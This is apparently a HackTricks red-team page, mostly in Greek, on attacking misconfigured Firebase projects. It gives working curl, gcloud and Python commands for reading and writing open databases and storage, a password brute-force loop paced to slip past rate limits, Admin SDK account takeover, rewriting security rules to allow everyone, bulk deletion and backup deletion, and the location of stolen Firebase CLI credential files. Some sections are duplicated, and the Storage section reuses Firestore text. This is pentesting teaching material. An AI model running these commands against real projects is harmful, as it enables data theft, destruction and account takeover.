GCP - Firebase Privesc

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Firebase

Unauthenticated access to Firebase Realtime Database

Ο επιτιθέμενος δεν χρειάζεται καμία συγκεκριμένη άδεια Firebase για να πραγματοποιήσει αυτή την επίθεση. Απαιτείται μόνο να υπάρχει ευάλωτη διαμόρφωση στους κανόνες ασφάλειας του Firebase Realtime Database, όπου οι κανόνες έχουν οριστεί με .read: true ή .write: true, επιτρέποντας δημόσια ανάγνωση ή εγγραφή.

Ο επιτιθέμενος πρέπει να εντοπίσει το URL της βάσης δεδομένων, το οποίο συνήθως ακολουθεί τη μορφή: https://<project-id>.firebaseio.com/.

Αυτό το URL μπορεί να βρεθεί μέσω mobile application reverse engineering (decompiling Android APKs ή analyzing iOS apps), ανάλυσης αρχείων διαμόρφωσης όπως google-services.json (Android) ή GoogleService-Info.plist (iOS), inspecting the source code of web applications, ή εξέτασης network traffic για να εντοπιστούν requests προς *.firebaseio.com domains.

Ο επιτιθέμενος εντοπίζει το URL της βάσης δεδομένων και ελέγχει εάν είναι δημόσια εκτεθειμένο, στη συνέχεια αποκτά πρόσβαση στα δεδομένα και ενδεχομένως γράφει κακόβουλες πληροφορίες.

Πρώτα, ελέγχουν αν η βάση επιτρέπει πρόσβαση ανάγνωσης προσθέτοντας .json στο URL.

curl https://<project-id>-default-rtdb.firebaseio.com/.json

Αν η απάντηση περιέχει JSON data ή null (αντί για “Permission Denied”), η βάση δεδομένων επιτρέπει πρόσβαση ανάγνωσης. Για να ελέγξει την πρόσβαση εγγραφής, ο attacker μπορεί να επιχειρήσει να στείλει ένα δοκιμαστικό write request χρησιμοποιώντας το Firebase REST API.

curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'

Εάν η ενέργεια επιτύχει, η βάση δεδομένων επιτρέπει επίσης write access.

Έκθεση δεδομένων στο Cloud Firestore

Ένας επιτιθέμενος δεν χρειάζεται κάποια συγκεκριμένα Firebase permissions για να πραγματοποιήσει αυτή την επίθεση. Απαιτείται μόνο να υπάρχει μια ευάλωτη διαμόρφωση στους κανόνες ασφαλείας του Cloud Firestore όπου οι κανόνες επιτρέπουν read ή write access χωρίς αυθεντικοποίηση ή με ανεπαρκή επικύρωση. Ένα παράδειγμα λανθασμένα διαμορφωμένου κανόνα που χορηγεί πλήρη πρόσβαση είναι:

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

Αυτός ο κανόνας επιτρέπει σε οποιονδήποτε να διαβάζει και να γράφει όλα τα documents χωρίς κανέναν περιορισμό. Οι κανόνες Firestore είναι λεπτομερείς και εφαρμόζονται ανά collection και document, οπότε ένα σφάλμα σε έναν συγκεκριμένο κανόνα μπορεί να εκθέσει μόνο ορισμένες collections.

Ο επιτιθέμενος πρέπει να εντοπίσει το Firebase Project ID, το οποίο μπορεί να βρεθεί μέσω mobile app reverse engineering, ανάλυσης αρχείων ρυθμίσεων όπως google-services.json ή GoogleService-Info.plist, επιθεώρησης του source code των web εφαρμογών, ή ανάλυσης της δικτυακής κίνησης για να εντοπιστούν αιτήματα προς firestore.googleapis.com. Το Firestore REST API χρησιμοποιεί τη μορφή:

https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Εάν οι κανόνες επιτρέπουν μη αυθεντικοποιημένη πρόσβαση ανάγνωσης, ο επιτιθέμενος μπορεί να διαβάσει συλλογές και έγγραφα. Πρώτα, επιχειρεί να αποκτήσει πρόσβαση σε μια συγκεκριμένη συλλογή:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>

Αν η απάντηση περιέχει JSON έγγραφα αντί για σφάλμα δικαιωμάτων, η συλλογή είναι εκτεθειμένη. Ο επιτιθέμενος μπορεί να απαριθμήσει όλες τις προσβάσιμες συλλογές δοκιμάζοντας συνηθισμένα ονόματα ή αναλύοντας τη δομή της εφαρμογής. Για να αποκτήσετε πρόσβαση σε ένα συγκεκριμένο έγγραφο:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Αν οι κανόνες επιτρέπουν μη αυθεντικοποιημένη πρόσβαση εγγραφής ή έχουν ανεπαρκή επικύρωση, ο επιτιθέμενος μπορεί να δημιουργήσει νέα έγγραφα:

curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'

Για να τροποποιήσετε ένα υπάρχον έγγραφο πρέπει να χρησιμοποιήσετε PATCH:

curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'

Για να διαγράψετε ένα έγγραφο και να προκαλέσετε άρνηση υπηρεσίας:

curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Έκθεση αρχείων στο Firebase Storage

Ένας επιτιθέμενος δεν χρειάζεται ειδικές άδειες Firebase για να πραγματοποιήσει αυτήν την επίθεση. Απαιτείται μόνο μια ευάλωτη διαμόρφωση στους κανόνες ασφαλείας του Firebase Storage, όπου οι κανόνες επιτρέπουν ανάγνωση ή εγγραφή χωρίς αυθεντικοποίηση ή με ανεπαρκή επικύρωση. Οι κανόνες του Firebase Storage ελέγχουν ανεξάρτητα τα δικαιώματα ανάγνωσης και εγγραφής, οπότε ένα σφάλμα σε έναν κανόνα μπορεί να εκθέσει μόνο πρόσβαση ανάγνωσης, μόνο πρόσβαση εγγραφής, ή και τα δύο. Ένα παράδειγμα λανθασμένα ρυθμισμένου κανόνα που χορηγεί πλήρη πρόσβαση είναι:

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

Αυτός ο κανόνας επιτρέπει ανάγνωση και εγγραφή σε όλα τα έγγραφα χωρίς περιορισμούς. Οι Firestore κανόνες είναι λεπτομερείς και εφαρμόζονται ανά συλλογή και ανά έγγραφο, οπότε ένα λάθος σε έναν συγκεκριμένο κανόνα μπορεί να εκθέσει μόνο ορισμένες συλλογές. Ο επιτιθέμενος πρέπει να εντοπίσει το Firebase Project ID, το οποίο μπορεί να βρεθεί μέσω mobile application reverse engineering, ανάλυσης αρχείων ρυθμίσεων όπως google-services.json ή GoogleService-Info.plist, επιθεώρησης του source code της web εφαρμογής, ή network traffic analysis για να εντοπιστούν αιτήσεις προς firestore.googleapis.com. Το Firestore REST API χρησιμοποιεί το format:https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.

Εάν οι κανόνες επιτρέπουν unauthenticated read access, ο επιτιθέμενος μπορεί να διαβάσει συλλογές και έγγραφα. Πρώτα, προσπαθεί να αποκτήσει πρόσβαση σε μια συγκεκριμένη συλλογή.

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"

Εάν η απάντηση περιέχει τη λίστα των αρχείων αντί για σφάλμα δικαιωμάτων, το αρχείο είναι εκτεθειμένο. Ο attacker μπορεί να δει το περιεχόμενο των αρχείων καθορίζοντας το path τους:

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"

Εάν οι κανόνες επιτρέπουν μη αυθεντικοποιημένη πρόσβαση εγγραφής ή έχουν ανεπαρκή επικύρωση, ο επιτιθέμενος μπορεί να ανεβάσει κακόβουλα αρχεία. Για να ανεβάσετε ένα αρχείο μέσω του REST API:

curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>

Ο επιτιθέμενος μπορεί να ανεβάσει code shells, malware payloads ή μεγάλα αρχεία για να προκαλέσει denial of service. Εάν η εφαρμογή επεξεργάζεται ή εκτελεί ανεβασμένα αρχεία, ο επιτιθέμενος μπορεί να αποκτήσει remote code execution. Για να διαγράψει αρχεία και να προκαλέσει denial of service:

curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"

Κλήση δημόσιων Firebase Cloud Functions

Ένας επιτιθέμενος δεν χρειάζεται ειδικές άδειες Firebase για να εκμεταλλευτεί αυτό το ζήτημα· αρκεί μια Cloud Function να είναι δημόσια προσβάσιμη μέσω HTTP χωρίς έλεγχο ταυτότητας.

Μια function είναι ευάλωτη όταν είναι ανασφαλώς ρυθμισμένη:

  • Χρησιμοποιεί functions.https.onRequest, το οποίο δεν επιβάλλει έλεγχο ταυτότητας (σε αντίθεση με τις onCall functions).
  • Ο κώδικας της function δεν επικυρώνει την αυθεντικοποίηση του χρήστη (π.χ., δεν υπάρχουν έλεγχοι για request.auth ή context.auth).
  • Η function είναι δημόσια προσβάσιμη στο IAM, που σημαίνει ότι allUsers έχει τον ρόλο roles/cloudfunctions.invoker. Αυτή είναι η προεπιλεγμένη συμπεριφορά για HTTP functions εκτός αν ο developer περιορίσει την πρόσβαση.

Firebase HTTP Cloud Functions εκτίθενται μέσω URLs όπως:

  • https://<region>-<project-id>.cloudfunctions.net/<function-name>
  • https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)

Ένας επιτιθέμενος μπορεί να εντοπίσει αυτά τα URLs μέσω ανάλυσης του πηγαίου κώδικα, επιθεώρησης της δικτυακής κίνησης, εργαλείων enumeration ή reverse engineering της mobile εφαρμογής. Εάν η function είναι δημόσια εκτεθειμένη και χωρίς έλεγχο ταυτότητας, ο επιτιθέμενος μπορεί να την καλέσει απευθείας χωρίς διαπιστευτήρια.

# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'

Εάν η συνάρτηση δεν επικυρώνει σωστά τις εισόδους, ο επιτιθέμενος μπορεί να επιχειρήσει άλλες επιθέσεις όπως code injection ή command injection.

Brute-force επίθεση κατά του Firebase Authentication με αδύναμη πολιτική κωδικών πρόσβασης

Ένας επιτιθέμενος δεν χρειάζεται καμία συγκεκριμένη άδεια Firebase για να εκτελέσει αυτή την επίθεση. Απαιτείται μόνο το Firebase API Key να είναι εκτεθειμένο σε mobile ή web εφαρμογές, και η πολιτική κωδικών πρόσβασης να μην έχει ρυθμιστεί με πιο αυστηρές απαιτήσεις από τις προεπιλεγμένες.

Ο επιτιθέμενος πρέπει να εντοπίσει το Firebase API Key, το οποίο μπορεί να βρεθεί μέσω mobile app reverse engineering, ανάλυσης αρχείων διαμόρφωσης όπως google-services.json ή GoogleService-Info.plist, επιθεώρησης του source code web εφαρμογών (π.χ. σε bootstrap.js), ή ανάλυσης του network traffic.

Firebase Authentication’s REST API uses the endpoint: https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY> to authenticate with email and password.

Εάν το Email Enumeration Protection είναι απενεργοποιημένο, οι απαντήσεις σφάλματος του API μπορούν να αποκαλύψουν αν ένα email υπάρχει στο σύστημα (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), επιτρέποντας στους επιτιθέμενους να καταγράψουν χρήστες πριν επιχειρήσουν μαντεψιά κωδικών. Όταν αυτή η προστασία είναι ενεργοποιημένη, το API επιστρέφει το ίδιο μήνυμα σφάλματος και για μη υπάρχοντα emails και για λανθασμένους κωδικούς, αποτρέποντας την καταγραφή χρηστών.

Είναι σημαντικό να σημειωθεί ότι το Firebase Authentication εφαρμόζει rate limiting, το οποίο μπορεί να μπλοκάρει αιτήματα εάν πραγματοποιηθούν πάρα πολλές προσπάθειες αυθεντικοποίησης σε σύντομο χρονικό διάστημα. Εξαιτίας αυτού, ένας επιτιθέμενος θα πρέπει να εισαγάγει καθυστερήσεις μεταξύ των προσπαθειών για να αποφύγει το rate-limited.

Ο επιτιθέμενος εντοπίζει το API Key και πραγματοποιεί προσπάθειες αυθεντικοποίησης με πολλαπλούς κωδικούς απέναντι σε γνωστούς λογαριασμούς. Εάν το Email Enumeration Protection είναι απενεργοποιημένο, ο επιτιθέμενος μπορεί να καταγράψει υπάρχοντες χρήστες αναλύοντας τις απαντήσεις σφάλματος:

# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'

Αν η απάντηση περιέχει EMAIL_NOT_FOUND, το email δεν υπάρχει στο σύστημα. Αν περιέχει INVALID_PASSWORD, το email υπάρχει αλλά ο κωδικός είναι λάθος, επιβεβαιώνοντας ότι ο χρήστης είναι καταχωρημένος. Μόλις εντοπιστεί έγκυρος χρήστης, ο attacker μπορεί να πραγματοποιήσει προσπάθειες brute-force. Είναι σημαντικό να αφήνετε παύσεις μεταξύ των προσπαθειών για να αποφύγετε τους μηχανισμούς rate-limiting του Firebase Authentication:

counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")

if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi

# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done

Με την προεπιλεγμένη πολιτική κωδικών (ελάχιστο μήκος 6 χαρακτήρες, χωρίς απαιτήσεις πολυπλοκότητας), ο επιτιθέμενος μπορεί να δοκιμάσει όλους τους δυνατούς συνδυασμούς κωδικών μήκους 6 χαρακτήρων, που αντιπροσωπεύει σχετικά μικρό χώρο αναζήτησης σε σύγκριση με αυστηρότερες πολιτικές κωδικών.

User management in Firebase Authentication

Ο επιτιθέμενος χρειάζεται συγκεκριμένα δικαιώματα του Firebase Authentication για να πραγματοποιήσει αυτήν την επίθεση. Τα απαιτούμενα δικαιώματα είναι:

  • firebaseauth.users.create για δημιουργία χρηστών
  • firebaseauth.users.update για τροποποίηση υπάρχοντων χρηστών
  • firebaseauth.users.delete για διαγραφή χρηστών
  • firebaseauth.users.get για ανάκτηση πληροφοριών χρηστών
  • firebaseauth.users.sendEmail για αποστολή email σε χρήστες
  • firebaseauth.users.createSession για δημιουργία συνεδριών χρηστών

Αυτά τα δικαιώματα περιλαμβάνονται στο ρόλο roles/firebaseauth.admin, που παρέχει πλήρη πρόσβαση ανάγνωσης/εγγραφής στους πόρους του Firebase Authentication. Επίσης περιλαμβάνονται σε ρόλους υψηλότερου επιπέδου όπως roles/firebase.developAdmin (που περιλαμβάνει όλα τα firebaseauth.* δικαιώματα) και roles/firebase.admin (πλήρης πρόσβαση σε όλες τις υπηρεσίες Firebase).

Για να χρησιμοποιήσει το Firebase Admin SDK, ο επιτιθέμενος θα χρειαστεί πρόσβαση στα διαπιστευτήρια service account (αρχείο JSON), τα οποία μπορεί να βρεθούν σε μολυσμένα συστήματα, δημόσια εκτεθειμένα αποθετήρια κώδικα, συμβιβασμένα συστήματα CI/CD, ή μέσω του συμβιβασμού λογαριασμών προγραμματιστών που έχουν πρόσβαση σε αυτά τα διαπιστευτήρια.

Το πρώτο βήμα είναι να διαμορφώσει το Firebase Admin SDK χρησιμοποιώντας τα διαπιστευτήρια service account.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

Για να δημιουργήσει έναν κακόβουλο χρήστη χρησιμοποιώντας το victim’s email, ο attacker θα επιχειρούσε να χρησιμοποιήσει το Firebase Admin SDK για να δημιουργήσει έναν νέο λογαριασμό με αυτό το email.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

Για να τροποποιήσει έναν υπάρχοντα χρήστη, ο attacker θα ενημέρωνε πεδία όπως η διεύθυνση email, η κατάσταση επαλήθευσης ή το αν ο λογαριασμός είναι απενεργοποιημένος.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

Για να διαγράψει έναν λογαριασμό χρήστη και να προκαλέσει denial of service, ο attacker θα εκδώσει ένα αίτημα για να αφαιρέσει εντελώς τον χρήστη.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

Ο επιτιθέμενος μπορεί επίσης να ανακτήσει πληροφορίες για υπάρχοντες χρήστες ζητώντας το UID ή τη διεύθυνση email τους.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

Επιπλέον, ο επιτιθέμενος θα μπορούσε να δημιουργήσει συνδέσμους επαλήθευσης ή συνδέσμους επαναφοράς κωδικού πρόσβασης προκειμένου να αλλάξει τον κωδικό ενός χρήστη και να αποκτήσει πρόσβαση στον λογαριασμό του.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Διαχείριση χρηστών στο Firebase Authentication

Ένας attacker χρειάζεται συγκεκριμένα permissions του Firebase Authentication για να εκτελέσει αυτήν την επίθεση. Οι απαιτούμενες permissions είναι:

  • firebaseauth.users.create για να δημιουργεί χρήστες
  • firebaseauth.users.update για να τροποποιεί υπάρχοντες χρήστες
  • firebaseauth.users.delete για να διαγράφει χρήστες
  • firebaseauth.users.get για να λαμβάνει πληροφορίες χρηστών
  • firebaseauth.users.sendEmail για να στέλνει email σε χρήστες
  • firebaseauth.users.createSession για να δημιουργεί συνεδρίες χρηστών

Αυτά τα permissions περιλαμβάνονται στο ρόλο roles/firebaseauth.admin, ο οποίος παρέχει full read/write access σε πόρους του Firebase Authentication. Είναι επίσης μέρος υψηλότερου επιπέδου ρόλων όπως roles/firebase.developAdmin (ο οποίος περιλαμβάνει όλα τα firebaseauth.* permissions) και roles/firebase.admin (πλήρης πρόσβαση σε όλες τις υπηρεσίες του Firebase).

Για να χρησιμοποιήσει το Firebase Admin SDK, ο attacker θα χρειαστεί πρόσβαση σε service account credentials (ένα JSON αρχείο), τα οποία μπορούν να αποκτηθούν από compromised systems, publicly exposed code repositories, compromised CI/CD environments, ή μέσω της παραβίασης developer accounts που έχουν πρόσβαση σε αυτά τα credentials.

Το πρώτο βήμα είναι να ρυθμίσετε το Firebase Admin SDK χρησιμοποιώντας service account credentials.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

Για να δημιουργήσει έναν κακόβουλο χρήστη χρησιμοποιώντας το email ενός θύματος, ο επιτιθέμενος θα επιχειρούσε να δημιουργήσει νέο λογαριασμό χρήστη με αυτό το email, αναθέτοντας τον δικό του κωδικό πρόσβασης και τις πληροφορίες προφίλ του.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

Για να τροποποιήσει έναν υπάρχοντα χρήστη, ο επιτιθέμενος θα άλλαζε πεδία όπως η διεύθυνση email, η κατάσταση επαλήθευσης ή το αν ο λογαριασμός είναι απενεργοποιημένος.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

Για να διαγράψει έναν λογαριασμό χρήστη—ουσιαστικά προκαλώντας denial of service—ο attacker θα εκδώσει ένα request για να αφαιρέσει μόνιμα αυτόν τον χρήστη.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

Ο επιτιθέμενος μπορεί επίσης να ανακτήσει πληροφορίες για υπάρχοντες χρήστες, όπως το UID ή το email τους, ζητώντας τα στοιχεία χρήστη είτε με το UID είτε με τη διεύθυνση email.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

Επιπλέον, ο επιτιθέμενος θα μπορούσε να δημιουργήσει συνδέσμους επαλήθευσης ή συνδέσμους επαναφοράς κωδικού πρόσβασης, επιτρέποντάς του να αλλάξει τον κωδικό ενός χρήστη και να αποκτήσει τον έλεγχο του λογαριασμού.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Τροποποίηση των κανόνων ασφαλείας στις υπηρεσίες Firebase

Ο attacker χρειάζεται συγκεκριμένες άδειες για να τροποποιήσει τους κανόνες ασφαλείας ανάλογα με την υπηρεσία. Για Cloud Firestore και Firebase Cloud Storage, οι απαιτούμενες άδειες είναι firebaserules.rulesets.create για τη δημιουργία rulesets και firebaserules.releases.create για την ανάπτυξη releases. Αυτές οι άδειες περιλαμβάνονται στο roles/firebaserules.admin role ή σε υψηλότερου επιπέδου roles όπως roles/firebase.developAdmin και roles/firebase.admin. Για Firebase Realtime Database, η απαιτούμενη άδεια είναι firebasedatabase.instances.update.

Ο attacker πρέπει να χρησιμοποιήσει το Firebase REST API για να τροποποιήσει τους κανόνες ασφαλείας. Πρώτα, ο attacker θα πρέπει να αποκτήσει ένα access token χρησιμοποιώντας service account credentials. Για να αποκτήσει το token:

gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)

Για να τροποποιήσετε τους κανόνες του Firebase Realtime Database:

curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'

Για να τροποποιήσει τους κανόνες του Cloud Firestore, ο attacker πρέπει να δημιουργήσει ένα ruleset και μετά να το αναπτύξει:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n  match /databases/{database}/documents {\n    match /{document=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

Η προηγούμενη εντολή επιστρέφει ένα όνομα ruleset στη μορφή projects//rulesets/. Για να αναπτυχθεί η νέα έκδοση, το release πρέπει να ενημερωθεί χρησιμοποιώντας ένα PATCH request:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Για να τροποποιήσετε τους κανόνες του Firebase Cloud Storage:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n  match /b/{bucket}/o {\n    match /{allPaths=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

Η προηγούμενη εντολή επιστρέφει ένα όνομα ruleset στη μορφή projects//rulesets/. Για να αναπτυχθεί η νέα έκδοση, πρέπει να ενημερωθεί το release χρησιμοποιώντας ένα PATCH request:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Εξαγωγή και χειρισμός δεδομένων στο Cloud Firestore

Cloud Firestore χρησιμοποιεί την ίδια υποδομή και σύστημα δικαιωμάτων με το Cloud Datastore, οπότε τα Datastore IAM δικαιώματα ισχύουν απευθείας για το Firestore. Για να τροποποιηθούν πολιτικές TTL, απαιτείται το δικαίωμα datastore.indexes.update. Για εξαγωγή δεδομένων απαιτείται το δικαίωμα datastore.databases.export. Για εισαγωγή δεδομένων απαιτείται το δικαίωμα datastore.databases.import. Για μαζική διαγραφή δεδομένων απαιτείται το δικαίωμα datastore.databases.bulkDelete.

Για λειτουργίες δημιουργίας αντιγράφων ασφαλείας και επαναφοράς, απαιτούνται συγκεκριμένα δικαιώματα:

  • datastore.backups.get και datastore.backups.list για την απαρίθμηση και ανάκτηση λεπτομερειών των διαθέσιμων αντιγράφων ασφαλείας
  • datastore.backups.delete για διαγραφή αντιγράφων ασφαλείας
  • datastore.backups.restoreDatabase για επαναφορά μιας βάσης δεδομένων από αντίγραφο ασφαλείας
  • datastore.backupSchedules.create και datastore.backupSchedules.delete για διαχείριση χρονοδιαγραμμάτων αντιγράφων ασφαλείας

Όταν δημιουργείται μια πολιτική TTL, επιλέγεται μια συγκεκριμένη ιδιότητα για να εντοπιστούν οι οντότητες που είναι επιλέξιμες για διαγραφή. Αυτή η ιδιότητα TTL πρέπει να είναι τύπου Ημερομηνίας και Ώρας. Ο επιτιθέμενος μπορεί να επιλέξει μια ιδιότητα που ήδη υπάρχει ή να ορίσει μια ιδιότητα που σκοπεύει να προσθέσει αργότερα. Εάν η τιμή του πεδίου είναι μια ημερομηνία στο παρελθόν, το έγγραφο γίνεται επιλέξιμο για άμεση διαγραφή. Ο επιτιθέμενος μπορεί να χρησιμοποιήσει το gcloud CLI για να χειριστεί τις πολιτικές TTL.

# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl

Για να εξάγει δεδομένα και να τα exfiltrate, ο attacker θα μπορούσε να χρησιμοποιήσει το gcloud CLI.

gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'

Για να εισαγάγετε κακόβουλα δεδομένα:

gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'

Για να εκτελέσει μαζική διαγραφή δεδομένων και να προκαλέσει denial of service, ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει το εργαλείο gcloud Firestore bulk-delete για να αφαιρέσει ολόκληρες συλλογές.

gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>

Για λειτουργίες αντιγράφων ασφαλείας και επαναφοράς, ο επιτιθέμενος μπορεί να δημιουργήσει προγραμματισμένα αντίγραφα ασφαλείας για να καταγράψει την τρέχουσα κατάσταση της βάσης δεδομένων, να απαριθμήσει υπάρχοντα αντίγραφα ασφαλείας, να επαναφέρει από ένα αντίγραφο ασφαλείας για να υπεργράψει πρόσφατες αλλαγές, να διαγράψει αντίγραφα ασφαλείας για να προκαλέσει μόνιμη απώλεια δεδομένων και να αφαιρέσει προγραμματισμένα αντίγραφα ασφαλείας. Για να δημιουργήσετε ένα ημερήσιο πρόγραμμα αντιγράφων ασφαλείας που θα δημιουργεί αμέσως ένα αντίγραφο ασφαλείας:

gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>

Για να επαναφέρει από ένα συγκεκριμένο αντίγραφο ασφαλείας, ο attacker θα μπορούσε να δημιουργήσει μια νέα βάση δεδομένων χρησιμοποιώντας τα δεδομένα που περιέχονται σε εκείνο το αντίγραφο ασφαλείας. Η λειτουργία επαναφοράς γράφει τα δεδομένα του αντιγράφου ασφαλείας σε μια νέα βάση δεδομένων, που σημαίνει ότι ένα υπάρχον DATABASE_ID δεν μπορεί να χρησιμοποιηθεί.

gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>

Για να διαγράψετε ένα αντίγραφο ασφαλείας και να προκαλέσετε μόνιμη απώλεια δεδομένων:

gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>

Κλοπή και κατάχρηση των Firebase CLI credentials

Ένας επιτιθέμενος δεν χρειάζεται συγκεκριμένα δικαιώματα Firebase για να πραγματοποιήσει αυτήν την επίθεση, αλλά χρειάζεται πρόσβαση στο τοπικό σύστημα του προγραμματιστή ή στο αρχείο Firebase CLI credentials. Αυτά τα credentials αποθηκεύονται σε ένα JSON αρχείο που βρίσκεται στο:

  • Linux/macOS: ~/.config/configstore/firebase-tools.json

  • Windows: C:\Users[User].config\configstore\firebase-tools.json

Αυτό το αρχείο περιέχει authentication tokens, συμπεριλαμβανομένων των refresh_token και access_token, τα οποία επιτρέπουν στον επιτιθέμενο να αυθεντικοποιηθεί ως ο χρήστης που αρχικά εκτέλεσε το firebase login.

Ο επιτιθέμενος αποκτά πρόσβαση στο αρχείο Firebase CLI credentials. Μπορεί στη συνέχεια να αντιγράψει ολόκληρο το αρχείο στο δικό του σύστημα, και το Firebase CLI θα χρησιμοποιήσει αυτόματα τα credentials από την προεπιλεγμένη του τοποθεσία. Αφού το κάνει αυτό, ο επιτιθέμενος μπορεί να δει όλα τα Firebase projects που είναι προσβάσιμα από εκείνον τον χρήστη.

firebase projects:list

Tip

